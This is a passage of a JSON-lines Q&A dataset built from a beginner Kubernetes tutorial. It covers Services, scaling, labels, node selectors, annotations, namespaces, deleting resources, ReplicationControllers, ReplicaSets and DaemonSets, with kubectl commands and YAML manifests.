`kubia-http`. Services are objects like Pods and Nodes, so you can see the newly created Service object by running the **kubectl get services | svc** command, as shown in the following listing.\n\n`kubectl get svc`\n\n```bash\nNAME         TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)          AGE\nkubernetes   ClusterIP      10.96.0.1\n443/TCP          30h\nkubia-http   LoadBalancer   10.107.88.67\n8080:32718/TCP   81s\n```\n\n**Important** :- Minikube doesn’t support LoadBalancer services, so the service will never get an external IP. But you can access the service anyway through its external port. So external IP will always be pending in that case. When using Minikube, you can get the IP and port through which you\ncan access the service by running \n\n`minikube service kubia-http`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368242"}
{"id": "gh_8e2ccc7783ba", "question": "How to: Horizontally scaling the application", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "You now have a running application, monitored and kept running by a Deployment and exposed to the world through a service. Now let’s make additional magic happen.\nOne of the main benefits of using Kubernetes is the simplicity with which you can scale your deployments. Let’s see how easy it is to scale up the number of pods. You’ll increase the number of running instances to three.\n\nYour pod is managed by a Deployment. Let’s see it with the kubectl get command:\n\n`kubectl get deploy`\n\n```bash\nNAME    READY   UP-TO-DATE   AVAILABLE   AGE\nkubia   1/1     1            1           4m58s\n```\n\n#### Increasing the desired Replica count\n\nTo scale up the number of replicas of your pod, you need to change the desired replica count in the Deployment like this:\n\n`kubectl scale deploy kubia --replicas=3`\n> deployment.apps/kubia scaled\n\nYou’ve now told Kubernetes to make sure three instances of your pod are always running. Notice that you didn’t instruct Kubernetes what action to take. You didn’t tell it to add two more pods. You only set the new desired number of instances and let Kubernetes determine what actions it needs to take to achieve the requested state.\n\n#### Seeing the result of the Scale Out\n\nBack to your replica count increase. Let’s list the Deployments again to see the updated replica count:\n\n`kubectl get deploy`\n\n```bash\nNAME    READY   UP-TO-DATE   AVAILABLE   AGE\nkubia   3/3     3            3           6m43s\n```\n\nBecause the actual number of pods has already been increased to three (as evident from the CURRENT column), listing all the pods should now show three pods instead of one:\n\n`kubectl get pods`\n\n```bash\nNAME                     READY   STATUS    RESTARTS   AGE\nkubia-57c4d74858-d284g   1/1     Running   0          94s\nkubia-57c4d74858-tflb8   1/1     Running   0          7m9s\nkubia-57c4d74858-wfgmb   1/1     Running   0          94s\n```\n\nAs you can see, three pods exist instead of one. Currently running, but if it is pending, it would be ready in a few moments, as soon as the container image is downloaded and the container is started.\n\nAs you can see, scaling an application is incredibly simple. Once your app is running in production and a need to scale the app arises, you can add additional instances with a single command without having to install and run additional copies manually.\n\nKeep in mind that the app itself needs to support being scaled horizontally. Kubernetes doesn’t magically make your app scalable; it only makes it trivial to scale the app up or down.\n\n#### Displaying the Pod IP and Pods Node when listing Pods\n\nIf you’ve been paying close attention, you probably noticed that the **kubectl get pods** command doesn’t even show any information about the nodes the pods are scheduled to. This is because it’s usually not an important piece of information.\n\nBut you can request additional columns to display using the **-o wide** option. When listing pods, this option shows the pod’s IP and the node the pod is running on:\n\n`kubectl get pods -o wide`\n\n```bash\n$ kubectl get pods -o wide\nNAME                     READY   STATUS    RESTARTS   AGE     IP           NODE       NOMINATED NODE   READINESS GATES\nkubia-57c4d74858-d284g   1/1     Running   0          2m53s   172.17.0.5   minikube\nkubia-57c4d74858-tflb8   1/1     Running   0          8m28s   172.17.0.3   minikube\nkubia-57c4d74858-wfgmb   1/1     Running   0          2m53s   172.17.0.4   minikube\n```\n\n#### Accessing Dashboard when using Minikube\n\nTo open the dashboard in your browser when using Minikube to run your Kubernetes cluster, run the following command:\n\n`minikube dashboard`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368258"}
{"id": "gh_fb0ec8ab58ef", "question": "How to: Introducing labels", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Organizing pods and all other Kubernetes objects is done through labels. Labels are a simple, yet incredibly powerful, Kubernetes feature for organizing not only pods, but all other Kubernetes resources. A label is an arbitrary key-value pair you attach to a resource, which is then utilized when selecting resources using label selectors (resources are filtered based on whether they include the label specified in the selector). \n\n#### Specifying labels when creating a pod\n\nNow, you’ll see labels in action by creating a new pod with two labels. Create a new file called **kubia-manual-with-labels.yaml** with the contents of the following listing. You can also copy from [kubia-manual-with-labels.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/kubia-manual-with-labels.yaml)\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: kubia-manual-v2\n  labels:\n    creation_method: manual\n    env: prod\nspec:\n  containers:\n  - image: knrt10/kubia\n    name: kubia\n    ports:\n    - containerPort: 8080\n      protocol: TCP\n```\n\nYou’ve included the labels *creation_method=manual* and *env=data.labels* section. You’ll create this pod now:\n\n`kubectl create -f kubia-manual-with-labels.yaml`\n> pod/kubia-manual-v2 created\n\nThe **kubectl get po** command doesn’t list any labels by default, but you can see them by using the **--show-labels** switch:\n\n`kubectl get po --show-labels`\n\n```bash\nNAME              READY     STATUS    RESTARTS   AGE       LABELS\nkubia-5k788       1/1       Running   1          8d        run=kubia\nkubia-7zxwj       1/1       Running   1          5d        run=kubia\nkubia-bsksp       1/1       Running   1          5d        run=kubia\nkubia-manual      1/1       Running   0          7h\nkubia-manual-v2   1/1       Running   0          3m        creation_method=manual,env=prod\n```\n\nInstead of listing all labels, if you’re only interested in certain labels, you can specify them with the **-L** switch and have each displayed in its own column. List pods again and show the columns for the two labels you’ve attached to your **kubia-manual-v2** pod:\n\n`kubectl get po -L creation_method,env`\n\n#### Modifying labels of existing pods\n\nLabels can also be added to and modified on existing pods. Because the **kubia-manual** pod was also created manually, let’s add the **creation_method=manual** label to it:\n\n`kubectl label po kubia-manual creation_method=manual`\n\nNow, let’s also change the **env=prod** label to **env=debug** on the **kubia-manual-v2** pod, to see how existing labels can be changed. You need to use the **--overwrite** option when changing existing labels.\n\n`kubectl label po kubia-manual-v2 env=debug --overwrite`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368282"}
{"id": "gh_73f892d70366", "question": "How to: Listing subsets of pods through label selectors", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Attaching labels to resources so you can see the labels next to each resource when listing them isn’t that interesting. But labels go hand in hand with *label selectors*. Label selectors allow you to select a subset of pods tagged with certain labels and perform an operation on those pods.\n\nA label selector can select resources based on whether the resource\n- Contains (or doesn’t contain) a label with a certain key\n- Contains a label with a certain key and value\n- Contains a label with a certain key, but with a value not equal to the one you specify\n\n#### Listing pods using a label selector\n\nLet’s use label selectors on the pods you’ve created so far. To see all pods you created manually (you labeled them with **creation_method=manual**), do the following:\n\n`kubectl get po -l creation_method=manual`\n```bash\nNAME              READY     STATUS    RESTARTS   AGE\nkubia-manual      1/1       Running   0          22h\nkubia-manual-v2   1/1       Running   0          14h\n```\n\nAnd those that don’t have the **env** label:\n\n`kubectl get po -l '!env'`\n```bash\nNAME           READY     STATUS    RESTARTS   AGE\nkubia-5k788    1/1       Running   1          9d\nkubia-7zxwj    1/1       Running   1          5d\nkubia-bsksp    1/1       Running   1          5d\nkubia-manual   1/1       Running   0          22h\n```\n\nMake sure to use single quotes around **!env**, so the bash shell doesn’t\nevaluate the exclamation mark\n\n#### Using multiple conditions in a label selector\n\nA selector can also include multiple comma-separated criteria. Resources need to match all of them to match the selector. You can execute command given below\n\n`kubectl get po -l '!env , !creation_method' --show-labels`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368293"}
{"id": "gh_9b445849a014", "question": "How to: Using labels and selectors to constrain pod scheduling", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "All the pods you’ve created so far have been scheduled pretty much randomly across your worker nodes. Certain cases exist, however, where you’ll want to have at least a little say in where a pod should be scheduled. A good example is when your hardware infrastructure isn’t homogenous. You never want to say specifically what node a pod should be scheduled to, because that would couple the application to the infrastructure, whereas the whole idea of Kubernetes is hiding the actual infrastructure from the apps that run on it.\n\n#### Using labels for categorizing worker nodes\n\nThe pods aren't only kubernetes resource type that you can attach label to. Labels can be attached to any Kubernetes resource including nodes.\n\nLet’s imagine one of the nodes in your cluster contains a GPU meant to be used for general-purpose GPU computing. You want to add a label to the node showing this feature. You’re going to add the label **gpu=true** to one of your nodes (pick one out of the list returned by **kubectl get nodes**):\n\n`kubectl label node minikube gpu=true`\n> node/minikube labeled\n\nNow you can use a label selector when listing the nodes, like you did before with pods. List only nodes that include the label *gpu=true*:\n\n`kubectl get node -l gpu=true`\n\n```bash\nNAME       STATUS    ROLES     AGE       VERSION\nminikube   Ready     master    9d        v1.10.0\n```\n\nAs expected, only one node has this label. You can also try listing all the nodes and tell kubectl to display an additional column showing the values of each node’s gpu label.\n\n`kubectl get nodes -L gpu`\n```bash\nNAME       STATUS    ROLES     AGE       VERSION   GPU\nminikube   Ready     master    9d        v1.10.0   true\n```\n\n#### Scheduling pods to specific nodes\n\nNow imagine you want to deploy a new pod that needs a GPU to perform its work. To ask the scheduler to only choose among the nodes that provide a GPU, you’ll add a node selector to the pod’s YAML. Create a file called **kubia-gpu.yaml** with the following listing’s contents and then use **kubectl create -f kubia-gpu.yaml** to create the pod. The contents of file are\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: kubia-gpu\nspec:\n  nodeSelector:\n    gpu: \"true\"\n  containers:\n  - image: luksa/kubia\n    name: kubia\n```\n\nYou’ve added a **nodeSelector** field under the spec section. When you create the pod, the scheduler will only choose among the nodes that contain the *gpu=true* label (which is only a single node in your case).\n\n#### Scheduling to one specific node\n\nSimilarly, you could also schedule a pod to an exact node, because each node also has a unique label with the key **kubernetes.io/hostname** and value set to the actual hostname of the node. Example shown below\n\n`kubectl get nodes --show-labels`\n```bash\nNAME       STATUS    ROLES     AGE       VERSION   LABELS\nminikube   Ready     master    9d        v1.10.0   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gpu=true,kubernetes.io/hostname=minikube,node-role.kubernetes.io/master=\n```\nBut setting the *nodeSelector* to a specific node by the hostname label may lead to the pod being unschedulable if the node is offline.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368307"}
{"id": "gh_98206946d131", "question": "How to: Annotating pods", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "In addition to other labels, pods and other objects can also contain annotations. They are also key value pairs, so in essence they are similar to labels, but aren't meant to hold identifying information. They can't be used to group objects the way label can. While objects can be selected through label selectors, there’s no such thing as an annotation selector. On the other hand, annotations can hold much larger pieces of information and are primarily meant to be used by tools. Certain annotations are automatically added to objects by Kubernetes, but others are added by users manually.\n\nA great use to annotating pods is to add desciption to each pod or other API object so that everyone using the cluster can quickly look up information about each individual object. \n\n#### Looking up an objects annotations\n\nLet’s see an example of an annotation that Kubernetes added automatically to the pod you created in the previous section. To see the annotations, you’ll need to request the full YAML of the pod or use the `kubectl describe` command. You’ll use the first option in the following listing.\n\n`kubectl get po kubia-zb95q -o yaml`\n```bash\napiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    kubernetes.io/created-by: |\n      {\"kind\":\"SerializedReference\", \"apiVersion\":\"v1\",\n      \"reference\":{\"kind\":\"ReplicationController\", \"namespace\":\"default\", ...\n```\n\nWithout going into too many details, as you can see, the `kubernetes.io/created-by`\nannotation holds JSON data about the object that created the pod. That’s not something\nyou’d want to put into a label. Labels should be **short**, whereas annotations can\ncontain relatively large blobs of data **(up to 256 KB in total)**.\n\n**Important**:- The kubernetes.io/created-by annotations was deprecated in version\n`1.8` and will be removed in `1.9`, so you will no longer see it in the YAML.\n\n#### Adding and modifying annotations\n\nAnnotations can obviously be added to pods at creation time, the same way label can. But we can also add it after using the following command. Let's try adding this to `kubia-manual` pod now.\n\n`kubectl annotate pod kubia-manual knrt10.github.io/someannotation=\"messi ronaldo\"`\n\nYou added the annotation `knrt10.github.io/someannotation` with the value `messi ronaldo`. It’s a good idea to use this format for annotation keys to prevent key collisions. When different tools or libraries add annotations to objects, they may accidentally override each other’s annotations if they don’t use unique prefixes like you did here. You can check your pod now using following command\n\n`kubectl describe po kubia-manual`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368320"}
{"id": "gh_f9414df90f9f", "question": "How to: Using namespace to group resources", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Previously we saw how labels organize pods and objects into groups. Because each object can have multiple labels, those groups of objects can overlap. Plus, when working with the cluster (through kubectl for example), if you don’t explicitly specify a label selector, you’ll always see all objects.\n\n#### Discovering other namespaces and their pods\n\nLet us first list all the namespaces in our cluster, type the following command\n\n`kubectl get ns`\n```bash\nNAME          STATUS    AGE\ndefault       Active    9h\nkube-public   Active    9h\nkube-system   Active    9h\n```\n\nUp to this point, you’ve operated only in the `default` namespace. When listing resources with the `kubectl get` command, you’ve never specified the namespace explicitly, so kubectl always defaulted to the default namespace, showing you only the objects in that namespace. But as you can see from the list, the kube-public and the kube-system namespaces also exist. Let’s look at the pods that belong to the `kube-system` namespace, by telling kubectl to list pods in that namespace only:\n\n`kubectl get po -n kube-system`\n```bash\nNAME                                    READY     STATUS    RESTARTS   AGE\netcd-minikube                           1/1       Running   0          4h\nkube-addon-manager-minikube             1/1       Running   1          9h\nkube-apiserver-minikube                 1/1       Running   0          4h\nkube-controller-manager-minikube        1/1       Running   0          4h\nkube-dns-86f4d74b45-w8mqv               3/3       Running   4          9h\nkube-proxy-25t92                        1/1       Running   0          4h\nkube-scheduler-minikube                 1/1       Running   0          4h\nkubernetes-dashboard-5498ccf677-2zcw5   1/1       Running   2          9h\nstorage-provisioner                     1/1       Running   2          9h\n```\n\nI will explain about these pods later (don’t worry if the pods shown here\ndon’t match the ones on your system exactly). It’s clear from the name of the namespace that these are resources related to the Kubernetes system itself. By having them in this separate namespace, it keeps everything nicely organized. If they were all in the default namespace, mixed in with the resources you create yourself, you’d have a hard time seeing what belongs where, and you might inadvertently delete system resources.\n\nNamespaces enable you to separate resources that don’t belong together into nonoverlapping groups. If several users or groups of users are using the same Kubernetes cluster, and they each manage their own distinct set of resources, they should each use their own namespace. This way, they don’t need to take any special care not to inadvertently modify or delete the other users’ resources and don’t need to concern themselves with name conflicts, because namespaces provide a scope for resource names, as has already been mentioned.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368331"}
{"id": "gh_446b45b9e070", "question": "How to: Creating a namespace", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "A namespace is a Kubernetes resource like any other, so you can create it by posting a\nYAML file to the Kubernetes API server. Let’s see how to do this now. \n\nYou’re going to create a file called **custom-namespace.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [custom-namespace.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/custom-namespace.yaml). The following listing shows the entire contents of the file.\n\n```yml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: custom-namespace\n```\n\nNow type the following command\n\n`kubectl create -f custom-namespace.yaml`\n> namespace/custom-namespace created\n\n#### Managing objects in other namespaces\n\nTo create resources in the namespace you’ve created, either add a `namespace: customnamespace` entry to the metadata section, or specify the namespace when creating the resource with the `kubectl create` command:\n\n`kubectl create -f kubia-manual.yaml -n custom-namespace`\n> pod/kubia-manual created\n\nYou now have two pods with the same name (kubia-manual). One is in the `default`\nnamespace, and the other is in your `custom-namespace`.\n\nWhen listing, describing, modifying, or deleting objects in other namespaces, you\nneed to pass the `--namespace (or -n)` flag to kubectl. If you don’t specify the namespace, kubectl performs the action in the default namespace configured in the current kubectl context. The current context’s namespace and the current context itself can be changed through `kubectl config` commands.\n\n#### Understanding the isolation provided by namespaces\n\nTo wrap up this section about namespaces, let me explain what namespaces don’t provide at least not out of the box. Although namespaces allow you to isolate objects into distinct groups, which allows you to operate only on those belonging to the specified namespace, they don’t provide any kind of isolation of running objects. For example, you may think that when different users deploy pods across different namespaces, those pods are isolated from each other and can’t communicate but that’s not necessarily the case. Whether namespaces provide network isolation depends on which networking solution is deployed with Kubernetes. When the solution doesn’t provide inter-namespace network isolation, if a pod in namespace foo knows the IP address of a pod in namespace bar, there is nothing preventing it from sending traffic, such as HTTP requests, to the other pod.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368343"}
{"id": "gh_7f6ccd9a7a90", "question": "How to: Stopping and removing pods", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "We have created a number of pods which should all be running. If you have followed from the start, you should have 5 pods in `default` namespace and one in `custom-namespace`. We are going to stop them all now, because we don't need them anymore.\n\n#### Deleting a pod by name\n\nLet's first delete `kubia-gpu` pod name\n\n`kubectl delete po kubia-gpu`\n\n#### Deleting pods using label selectors\n\nInstead of specifying each pod to delete by name, you’ll now use what you’ve learned\nabout label selectors to stop both the `kubia-manual` and the `kubia-manual-v2` pod.\nBoth pods include the `creation_method=manual` label, so you can delete them by\nusing a label selector:\n\n`kubectl delete po -l creation_method=manual`\n> pod \"kubia-manual\" deleted\n> pod \"kubia-manual-v2\" deleted\n\nIn the earlier microservices example, where you had tens (or possibly hundreds) of\npods, you could, for instance, delete all canary pods at once by specifying the\n`rel=canary` label selector\n\n`kubectl delete po -l rel=canary`\n\n#### Deleting pods by deleting the whole namespace\n\nOkay, back to your real pods. What about the pod in the `custom-namespace`? We no\nlonger need either the pods in that namespace, or the namespace itself. You can delete the whole namespace using the following command. Your all pods inside that workspace will be automatically deleted.\n\n`kubectl delete ns custom-namespace`\n> namespace \"custom-namespace\" deleted\n\n#### Deleting all pods in namespace, while keeping the namespace\n\nSuppose you want to keep your namespace but delete all the pods in it, so this is the approach to follow. We now have cleaned almost everything but we have some pods running if you ran the `kubectl run` command before.\n\nThis time, instead of deleting the specific pod, tell Kubernetes to delete all pods in the current namespace by using the --all option\n\n`kubectl delete po --all`\n```bash\npod \"kubia-pjxrs\" deleted\npod \"kubia-xvfxp\" deleted\npod \"kubia-zb95q\" deleted\n```\n\nNow, double check that no pods were left running:\n\n`kubectl get po`\n```bash\nkubia-5gknm   1/1       Running   0          48s\nkubia-h62k7   1/1       Running   0          48s\nkubia-x4nsb   1/1       Running   0          48s\n```\n\nWait, what!?! All pods are terminating, but a new pod which weren't there before, has appeared. No matter how many times you delete all pods, a new pod called kubia-something will emerge.\n\nYou may remember you created your first pod with the `kubectl run` command. I mentioned that this doesn’t create a pod directly, but instead creates a `ReplicationController`, which then creates the pod. As soon as you delete a pod created by the ReplicationController, it immediately creates a new one. To delete the pod, you also need to **delete the ReplicationController**.\n\n#### Delete almost all resources in namespace\n\nYou can delete the ReplicationController and the pods, as well as all the Services\nyou’ve created, by deleting all resources in the current namespace with a single\ncommand:\n\n`kubectl delete all --all`\n```bash\npod \"kubia-5gknm\" deleted\npod \"kubia-h62k7\" deleted\npod \"kubia-x4nsb\" deleted\nreplicationcontroller \"kubia\" deleted\nservice \"kubernetes\" deleted\nservice \"kubia-http\" deleted\n```\n\nThe first all in the command specifies that you’re deleting resources of all types, and the --all option specifies that you’re deleting all resource instances instead of specifying them by name (you already used this option when you ran the previous delete command).\n\nAs it deletes resources, kubectl will print the name of every resource it deletes. In the list, you should see the kubia ReplicationController and the `kubia-http` Service you created before.\n\n**Note**:- The kubectl delete all --all command also deletes the kubernetes\nService, but it should be recreated automatically in a few moments.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368361"}
{"id": "gh_69c33962bcf9", "question": "How to: Introducing ReplicationControllers", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "A Replication Controller(RC) is a Kubernetes resource that ensures its pods are always kept running. If a pod disappers for any reasons like in case of node disappearing from the cluster or because the pod was evicted from the node, the RC notes the pod missing and creates a replacement pod. Please refer to the image below\n\n![RC](https://user-images.githubusercontent.com/24803604/70711851-6c2c2e00-1d08-11ea-90cd-1feba139645d.png)\n\n> When a node fails, only pods backed by a ReplicationController are recreated.\n\nThe RC in the figure only manage only a single pod but in general they are meant to create and manage a mutiple copies (replicas) of a pod. That's where RC got their name from.\n\n#### The operation of a ReplicationController\n\nThe RC contantly monitors the list of running pods and makes sure the actual number of pods of a \"type\" always matches the desires number. If too few such pods are running, it creates new replica from pod template. If too much pods are running, it remove the excess replicas.\n\nYou might be wondering how there can be more than the desired number of replicas. This can happen for a few reasons:\n\n- Someone creates a pod of the same type manually.\n- Someone changes an existing pod’s “type.”\n- Someone decreases the desired number of pods, and so on.\n\nI’ve used the term pod “type” a few times. But no such thing exists. Replication Controllers don’t operate on pod types, but on sets of pods that match a certain label selector, which I have told you previously.\n\n#### Introducing the controller reconciliation loop\n\nA ReplicationController’s job is to make sure that an exact number of pods always matches its label selector. If it doesn’t, the ReplicationController takes the appropriate action to reconcile the actual with the desired number.\n\n![controller-reconcilition-loop](https://user-images.githubusercontent.com/24803604/70713322-c5e22780-1d0b-11ea-9334-3d9213e86d3c.png)\n\nA ReplicationController has three essential parts:\n\n- A label selector, which determines what pods are in the ReplicationController’s scope\n- A replica count, which specifies the desired number of pods that should be running\n- A pod template, which is used when creating new pod replicas\n\n![RC three parts](https://user-images.githubusercontent.com/24803604/70715546-8964fa80-1d10-11ea-8e33-59f1a5a36698.png)\n\n> The three key parts of a\nReplicationController (pod selector,\nreplica count, and pod template)\n\nA ReplicationController’s replica count, the label selector, and even the pod template can all be modified at any time, but only changes to the replica count affect existing pods.\n\nChanges to the label selector and the pod template have no effect on existing pods. Changing the label selector makes the existing pods fall out of the scope of the ReplicationController, so the controller stops caring about them. ReplicationControllers also don’t care about the actual “contents” of its pods (the container images, environment variables, and other things) after they create the pod. The template therefore only affects new pods created by this ReplicationController. You can think of it as a cookie cutter for cutting out new pods.\n\n**BENEFITS**\n\n- It makes sure a pod (or multiple pod replicas) is always running by starting a\nnew pod when an existing one goes missing.\n- When a cluster node fails, it creates replacement replicas for all the pods that\nwere running on the failed node (those that were under the Replication-\nController’s control).\n- It enables easy horizontal scaling of pods—both manual and automatic\n\n**Note**:- A pod instance is never relocated to another node. Instead, the ReplicationController creates a completely new pod instance that has no relation to the instance it’s replacing.\n\n#### Creating a ReplicationController\n\nYou’re going to create a file called **kubia-rc.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [kubia-rc.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/kubia-rc.yaml). The following listing shows the entire contents of the file.\n\n```yaml\napiVersion: v1\nkind: ReplicationController\nmetadata:\n  name: kubia\nspec:\n  replicas: 3\n  selector:\n    app: kubia\n  template:\n    metadata:\n      labels:\n        app: kubia\n    spec:\n      containers:\n      - name: kubia\n        image: knrt10/kubia\n        ports:\n        - containerPort: 8080\n```\n\nWhen you post the file to the API server, Kubernetes creates a new ReplicationController named `kubia`, which makes sure three pod instances always match the label selector `app=kubia`. When there aren’t enough pods, new pods will be created from the provided pod template. The contents of the template are almost identical to pod defination we created before.\n\nThe pod labels in the template must obviously match the label selector of the ReplicationController; otherwise the controller would create new pods indefinitely, because spinning up a new pod wouldn’t bring the actual replica co", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368444"}
{"id": "gh_e9e8fbdc19b7", "question": "How to: Using ReplicaSets instead of ReplicationControllers", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Initially, ReplicationControllers were the only Kubernetes component for replicating pods and rescheduling them when nodes failed. Later, a similar resource called a ReplicaSet was introduced. It’s a new generation of ReplicationController and replaces it completely (ReplicationControllers will eventually be deprecated).\n\nWe could have started this section by creating a ReplicaSet instead of a ReplicationController, but I felt it would be a good idea to start with what was initially available in Kubernetes **(Please Don't report me :wink:)**. Plus, we'll still see ReplicationControllers used in the wild, so it’s good for you to know about them. That said, you should always create ReplicaSets instead of ReplicationControllers from now on. They’re almost identical, so you shouldn’t have any trouble using them instead.\n\nA ReplicaSet behaves exactly like a ReplicationController, but it has more expressive pod selectors. Whereas a ReplicationController’s label selector only allows matching pods that include a certain label, a ReplicaSet’s selector also allows matching pods that lack a certain label or pods that include a certain label key, regardless of its value.\n\nAlso, for example, a single ReplicationController can’t match pods with the label `env=production` and those with the label `env=devel` at the same time. It can only match either pods with the env=production label or pods with the env=devel label. But a single ReplicaSet can match both sets of pods and treat them as a single group.\n\nSimilarly, a ReplicationController can’t match pods based merely on the presence of a label key, regardless of its value, whereas a ReplicaSet can. For example, a ReplicaSet can match all pods that include a label with the key env, whatever its actual value is(you can think of it as env=*).\n\n#### Defining a ReplicaSet\n\nYou’re going to create a ReplicaSet now to see how the orphaned pods that were created by your ReplicationController and then abandoned earlier can now be adopted by a ReplicaSet. \n\nYou’re going to create a file called **kubia-replicaset.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [kubia-replicaset.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/kubia-replicaset.yaml). The following listing shows the entire contents of the file.\n\n```yml\napiVersion: apps/v1\nkind: ReplicaSet\nmetadata:\n  name: kubia\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: kubia\n  template:\n    metadata:\n      labels:\n        app: kubia\n    spec:\n      containers:\n      - name: kubia\n        image: knrt10/kubia\n        ports:\n        - containerPort: 8080\n```\n\nThe first thing to note is that ReplicaSets aren’t part of the v1 API, so you need to ensure you specify the proper apiVersion when creating the resource. You’re creating a resource of type ReplicaSet which has much the same contents as the ReplicationController you created earlier.\n\nThe only difference is in the selector. Instead of listing labels the pods need to have directly under the selector property, you’re specifying them under selector `matchLabels`. This is the simpler (and less expressive) way of defining label selectors in a ReplicaSet. Because you still have three pods matching the app=kubia selector running from earlier, creating this ReplicaSet will not cause any new pods to be created. The ReplicaSet will take those existing three pods under its wing. You can create ReplicaSet using `kubectl create` command. Then examine using `kubectl describe` command. \n\nAs you can see, the ReplicaSet isn’t any different from a ReplicationController. It’s showing it has three replicas matching the selector. If you list all the pods, you’ll see they’re still the same three pods you had before. The ReplicaSet didn’t create any new ones.\n\n#### Using the ReplicaSets more expressive label selectors\n\nThe main improvements of ReplicaSets over ReplicationControllers are their more expressive label selectors. You intentionally used the simpler matchLabels selector in the first ReplicaSet example to see that ReplicaSets are no different from ReplicationControllers. \n\nYou can add additional expressions to the selector. As in the example, each expression must contain a key, an operator, and possibly (depending on the operator) a list of values. You’ll see four valid operators:\n\n- `In`—Label’s value must match one of the specified values.\n- `NotIn`—Label’s value must not match any of the specified values.\n- `Exists`—Pod must include a label with the specified key (the value isn’t important).\nWhen using this operator, you shouldn’t specify the values field.\n- `DoesNotExist`—Pod must not include a label with the specified key. The values\nproperty must not be specified.\n\nIf you specify multiple expressions, all those expressions must evaluate to true for the selector to match a pod. If you specify both matchLabels and matchExpressions, all the labels must match and all the expressions must", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368462"}
{"id": "gh_ca13f3ecea7c", "question": "How to: Running exactly one pod on each node with DaemonSets", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Both RC and RS are used for running specifics number of pods deployed anywhere in Kubernetes cluster. But certain cases exist when you want a pod to run on each and every node in the cluster (and each node needs to run exactly one instance of the pod). Those cases include infrastructure related pods that perform system-level operations.\n\nFor example, you’ll want to run a log collector and a resource monitor on every node. Another good example is Kubernetes’ own kube-proxy process, which needs to run on all nodes to make services work.\n\n![Daemon Sets](https://user-images.githubusercontent.com/24803604/71682868-9183e900-2d56-11ea-9cab-e645ef0564b1.png)\n\n> DaemonSets run only a single pod replica on each node, whereas ReplicaSets scatter them around the whole cluster randomly.\n\n#### Using a DaemonSet to run a pod on every node\n\nTo run a pod on all cluster nodes, you create a DaemonSet object, which is much like a ReplicationController or a ReplicaSet, except that pods created by a DaemonSet already have a target node specified and skip the Kubernetes Scheduler. They aren’t scattered around the cluster randomly.\n\nA DaemonSet makes sure it creates as many pods as there are nodes and deploys each one on its own node, as shown above. Whereas a ReplicaSet (or ReplicationController) makes sure that a desired number of pod replicas exist in the cluster, a DaemonSet doesn’t have any notion of a desired replica count. It doesn’t need it because its job is to ensure that a pod matching its pod selector is running on each node.\n\nIf a node goes down, the DaemonSet 